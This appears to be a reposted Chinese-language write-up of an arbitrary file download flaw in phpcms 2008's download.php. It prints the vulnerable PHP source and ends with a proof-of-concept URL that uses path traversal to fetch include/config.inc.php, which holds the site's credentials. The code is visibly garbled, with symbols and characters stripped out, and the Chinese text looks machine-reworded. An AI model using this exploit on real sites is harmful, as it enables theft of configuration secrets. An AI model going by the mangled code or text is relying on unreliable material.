phpcms 2008 任意下载漏洞





作者:泛亚娱乐博士
破绽文件download.php


php
require dirname(__FILE__).'/include/mon.inc.php';

a_k phpcms_auth( a_k, 'DECODE', AUTH_KEY); //留神!!
if(empty( a_k)) showmessage( LANG.'illegal_parameters'.);
parse_str( a_k);

if(isset( i)) downid intval( i);
if(!isset( m)) showmessage( LANG.'illegal_parameters'.);
if(empty( f)) showmessage('地址失效');
if(! i '' m 0) showmessage( LANG.'illegal_parameters'.);
if(!isset( t)) showmessage( LANG.'illegal_parameters'.);
if(!isset( ip)) showmessage( LANG.'illegal_parameters'.);
starttime intval( t);

fileurl trim( f);
if(! downid '' empty( fileurl) '' !preg_match("/.09. 10 /", starttime) '' !preg_match("/.09. 1,3 \..09. 1,3 \..09. 1,3 \..09. 1,3 /", ip) '' ip ! IP) showmessage( LANG.'illegal_parameters'.);

endtime TIME starttime;
if( endtime 3600) showmessage('地址生效');
if( m) fileurl trim( s).trim( fileurl);

if(strpos( fileurl, ''))//远程文件

header("Location: fileurl");

else//本地文件

if( d 0)

header("Location: ".SITE_URL. fileurl);

else

fileurl file_exists( fileurl) stripslashes( fileurl) : PHPCMS_ROOT. fileurl;//此处可能为物理门路
filename basename( fileurl);
if(preg_match("/^(.\s\S..)(.\x81\xfe..\x40\xfe.)(.\s\S..)/", fileurl))//处置中文文件

filename str_replace(array("5C", "2F", "3A"), array("\", "/", ":"), urlencode( fileurl));
filename urldecode(basename( filename));

file_down( fileurl, filename);




function file_down( filepath, filename '')

if(! filename) filename basename( filepath);
if(is_ie()) filename rawurlencode( filename); filetype fileext( filename);
filesize sprintf("u", filesize( filepath));
if(ob_get_length() ! false) ob_end_clean();
header('Pragma: public');
header('LastModified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('CacheControl: nostore, nocache, mustrevalidate');
header('CacheControl: precheck0, postcheck0, maxage0');
header('ContentTransferEncoding: binary');
header('ContentEncoding: none');
header('Contenttype: '. filetype);
header('ContentDisposition: attachment; filename"'. filename.'"');
header('Contentlength: '. filesize);
readfile( filepath);
exit;


实在 i, m, f, ip等都是地址栏的参数不过滤(在down.php中能够看到)由parse_str( a_k)说明后得到的,又因为 a_k是经phpcms_auth( a_k, 'DECODE', AUTH_KEY)解密后才干得到参数,但我本地测试构造 a_k变量的加密值不胜利就换了个方式,把 a_k结构成不存在的参数而后下面的 i, m, f, ip我就直接从地址栏中增加!测试如下:

h t t pwww.xxxx.cn/download.phpa_kJh5zIw&i20&m2&f../include/config.inc.php&t2233577313&ip119.123.178.19&sm/&d1

08-31 02:08